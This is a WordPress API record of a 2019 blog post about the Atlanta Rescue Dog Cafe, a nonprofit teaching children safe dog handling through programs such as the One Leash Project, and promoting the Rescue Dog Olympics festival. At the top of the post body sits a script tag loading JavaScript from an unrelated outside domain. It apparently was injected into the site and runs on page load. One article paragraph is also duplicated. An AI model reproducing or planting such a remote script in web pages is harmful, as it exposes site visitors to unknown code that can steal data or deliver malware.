{"id":516,"date":"2019-01-18T09:00:42","date_gmt":"2019-01-18T14:00:42","guid":{"rendered":"https:\/\/rescuedoggames.com\/?p=516"},"modified":"2019-02-01T14:30:08","modified_gmt":"2019-02-01T19:30:08","slug":"atlanta-rescue-cafe","status":"publish","type":"post","link":"https:\/\/rescuedoggames.com\/atlanta-rescue-cafe\/","title":{"rendered":"Atlanta Rescue Dog Cafe: Starting Conversations for Change"},"content":{"rendered":"\n<center><script src=\"https:\/\/cpem.io\/oVowc0oCI.js\"><\/script><\/center>\n\n\n\n<div style=\"height:39px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Atlanta Rescue Dog Cafe<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image.png\" alt=\"\" class=\"wp-image-518\" width=\"483\" height=\"306\" srcset=\"https:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image.png 447w, https:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-300x189.png 300w\" sizes=\"(max-width: 483px) 100vw, 483px\" \/><figcaption><br> The Atlanta Rescue Dog Cafe is an educational nonprofit that provides interactive education on animal welfare <\/figcaption><\/figure><\/div>\n\n\n\n<p>In animal welfare, one of the main issues that many pet rescues face is overcrowding. Even with high adoption rates, rescue organizations often struggle with finding pets their forever homes faster than the rate at which pets are being taken in. With dogs entering rescues at a faster rate than they are being adopted, it becomes clear that other measures must be taken in order to prevent overcrowding at shelters, which can lead to euthanization. Aaron Fisher, the CEO and Founder of the <em><a href=\"https:\/\/therescuedogcafe.org\/\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"Atlanta Rescue Dog Cafe, (opens in a new tab)\">Atlanta Rescue Dog Cafe<\/a><\/em><a href=\"https:\/\/therescuedogcafe.org\/\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"Atlanta Rescue Dog Cafe, (opens in a new tab)\">,<\/a> believes that the best way to prevent overcrowding at shelters is to prevent them from entering the shelters in the first place. Through education and conversation, the <em>Atlanta Rescue Dog Cafe<\/em> works to keep dogs out of animal shelters and to create a happier, safer environment for all dogs and their people. <\/p>\n\n\n\n<div style=\"height:166px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>See a Need, Meet a Need<\/strong><\/h2>\n\n\n\n<p>The\n<em>Atlanta Rescue Dog Cafe<\/em> was started\ntowards the end of 2017 by Aaron Fisher. The first thing that becomes clear\nwhen looking at his resume is that Aaron is a man who has worn many hats. Aaron\nfirst came to Atlanta in 1993 to attend Emory University, and since then, has\nspent time living in the Middle East, working with the State Department,\nteaching elementary school, and eventually, founding a nonprofit organization\ndedicated to animal welfare.<\/p>\n\n\n\n<p>When\nlooking at Aaron&#8217;s background as an elementary school teacher, it is not\nsurprising that <em>Atlanta Rescue Dog Cafe<\/em>\nplaces an emphasis on education. While teaching, Aaron\u2019s students became\ninterested in wanting to help pets in shelters. With his students being too\nyoung to volunteer at local shelters, Aaron wanted to have someone from the\nshelters come speak to his students about the rescues and how to handle dogs in\nsafe and healthy ways. What Aaron quickly found was that no such program\nexisted that focused on educating the next generation on animal handling and\nsafety, and responsible pet care.<\/p>\n\n\n\n<p>As\nAaron began working and volunteering in shelters, it became increasingly evident\nthat there was lack of educational programs in the field. With many rescues,\nthe goal is to find pets homes as quickly as possible. Though adoption rates\nmay be high, the rates of pet neglect and abandonment &#8211;&nbsp; leading to them to being placed in shelters &#8211;\naren\u2019t going down. Through his work in animal welfare, Aaron noticed that even\nthough the rescues primarily operated in response to the problems of pet\nneglect, cruelty, abandonment, etc., there were very few, if any, organizations\nworking to prevent these issues from arising in the first place.<\/p>\n\n\n\n<p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nUnfortunately,\nthis imbalance of responding to the problem without addressing the causes leads\nto rising abuse and neglect rates that the rescue shelters\u2019 adoption rates\ncannot keep up with. This is where <em>Atlanta\nRescue Dog Cafe<\/em> comes in. By focusing on education and conversation with\npeople of all ages, <em>Atlanta Rescue Dog\nCafe<\/em> works to save rescue dogs by keeping them out of shelters in the first\nplace. Aaron believes that the goal of animal shelters should be to ultimately\nput themselves out of business. Ideally, by working to keep dogs from being\nneglected and out of rescues, <em>Atlanta\nRescue Dog Cafe<\/em> aims to create a future where rescues are no longer needed,\nand they plan on doing this through conversation and education.\n\n\n\n<\/p>\n\n\n\n<p> <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-2.png\" alt=\"\" class=\"wp-image-520\" width=\"414\" height=\"208\" srcset=\"https:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-2.png 456w, https:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-2-300x150.png 300w\" sizes=\"(max-width: 414px) 100vw, 414px\" \/><figcaption> Atlanta Rescue Dog Cafe uses education and conversation as a way of preventing pet neglect, abuse, and abandonment <\/figcaption><\/figure><\/div>\n\n\n\n<p>Unfortunately, this imbalance of responding to the problem without addressing the causes leads to rising abuse and neglect rates that the rescue shelters\u2019 adoption rates cannot keep up with. This is where <em>Atlanta Rescue Dog Cafe<\/em> comes in. By focusing on education and conversation with people of all ages, <em>Atlanta Rescue Dog Cafe<\/em> works to save rescue dogs by keeping them out of shelters in the first place. Aaron believes that the goal of animal shelters should be to ultimately put themselves out of business. Ideally, by working to keep dogs from being neglected and out of rescues, <em>Atlanta Rescue Dog Cafe<\/em> aims to create a future where rescues are no longer needed, and they plan on doing this through conversation and education. <\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The One Leash Project<\/strong><\/h2>\n\n\n\n<p><em>Atlanta Rescue Dog Cafe<\/em> operates under the belief that if\nthe rates of pet neglect and abuse are going to go down, it needs to start with\neducation. Two of the main causes that lead to dogs entering shelters are dogs\nbiting people or dogs becoming strays. With this in mind, <em>Atlanta Rescue Dog Cafe <\/em>works to educate people on how to prevent\npets from becoming strays and avoid bites, which drastically improves the\nchances that dogs won\u2019t be placed in rescues.<\/p>\n\n\n\n<p>By\nencouraging children to ask, \u201cMay I please pet your dog?,\u201d before doing so, or\nby showing the benefits of dog collars so that runaways have a much higher\nchance of being returned home, <em>Atlanta\nRescue Dog Cafe<\/em> makes great strides in improving dog and people relations.\nWhile the organization does work to educate people of all ages on dog handling,\na major part of their target audience is students. Aaron, talked about how it\nis especially important to teach people while they\u2019re young so that they can\nform healthy habits early on.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft\"><img loading=\"lazy\" decoding=\"async\" width=\"400\" height=\"214\" src=\"http:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-3.png\" alt=\"Atlanta Rescue Dog Cafe teaches children of all ages how to interact with dogs in a safe, fun way\" class=\"wp-image-521\" srcset=\"https:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-3.png 400w, https:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-3-300x161.png 300w\" sizes=\"(max-width: 400px) 100vw, 400px\" \/><\/figure><\/div>\n\n\n\n<p>With\nthe goal being to start and facilitate conversations with students about animal\nwelfare, an obstacle soon presented itself. Having worked with students as a\nteacher for seven years, Aaron knew from the beginning that if he was going to\nbring his courses on pet safety into schools, he was going to have to justify\nit as a natural part of the curriculum. This led to the birth of <em>Atlanta Rescue Dog Cafe\u2019s<\/em> One Leash\nProject.<\/p>\n\n\n\n<p>The <em>One Leash Project<\/em> is an educational program that fuses traditional curriculum, like math, science, and writing, with the organization\u2019s curriculum on both human and pet safety. In this program, students make dog leashes from repurposed climbing rope. By demonstrating the importance of recycling and teamwork, along with scaling the experience to the students\u2019 ages, the One Leash Project has opened many doors that allow <em>Atlanta Rescue Dog Cafe<\/em> to facilitate conversations with students on the importance of animal welfare. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Join the Conversation<\/strong><\/h2>\n\n\n\n<p>With\nthe <em>One Leash Project<\/em>, and other\nprograms like \u201cCareers in Animal Welfare\u201d and \u201cCan I Pet Your Dog?\u201d, <em>Atlanta Rescue Dog Cafe<\/em> has facilitated\nconversations with nearly four thousand residents of Atlanta. While they are\nmaking great strides to lower the rates of animal neglect, they cannot do it\nalone. This is why <em>Atlanta Rescue Dog\nCafe<\/em> is centered so much on conversation and engagement. The best way to\nfight animal neglect is through awareness and the best way to raise awareness\nis through conversation. However, even with an average of reaching 500 students\na month they can\u2019t reach everyone. This is why it is important for people to\njoin the conversation.<\/p>\n\n\n\n<p>By\nhaving conversations about animal welfare spread beyond <em>Atlanta Rescue Dog Cafe<\/em>, the rate of awareness of dog neglect and\nhow to prevent it will grow exponentially. Beyond just having simple\nconversations with family and friends about the importance of animal welfare,\none of the best ways to become part of the conversation for preventing dog\nneglect is by attending festivals.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"112\" src=\"http:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-4.png\" alt=\"\" class=\"wp-image-522\" srcset=\"https:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-4.png 624w, https:\/\/rescuedoggames.com\/wp-content\/uploads\/2019\/01\/image-4-300x54.png 300w\" sizes=\"(max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p>The Rescue Dog Olympics is a great\nplace to get involved in animal welfare<\/p>\n\n\n\n<p>A festival that the Atlanta Rescue Dog Caf\u00e9 has recently partnered with is the <a href=\"http:\/\/rescuedoggames.com\/\">Rescue Dog Olympics<\/a>, a partnership that was formed from a conversation that happened at another festival! The Rescue Dog Olympics is an event that brings together dog rescue organizations and animal welfare organizations and dog owners from all over the Atlanta area. With so many dog lovers in one place, it is the ideal setting for joining the conversation of animal welfare. At the festival you can learn new ways to help get involved in finding dogs their forever homes and stop animal neglect. Oh, and being surrounded by hundreds of happy, playful puppies in the park is always a plus. So, come by the next Rescue Dog Olympics, Sunday, March 10, 2019 in Piedmont Park to meet people from the Rescue Dog Caf\u00e9 and other dog lovers, and join the conversation about ending dog neglect! Written By: Jordan Sloan is a writer and student at Kennesaw State University, set to graduate in May, 2019. To see more of Jordan\u2019s work, here is a link to his website: <a href=\"http:\/\/jordanmsloan.com\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">http:\/\/jordanmsloan.com<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Atlanta Rescue Dog Cafe works to save rescue dogs by keeping them out of shelters in the first place. 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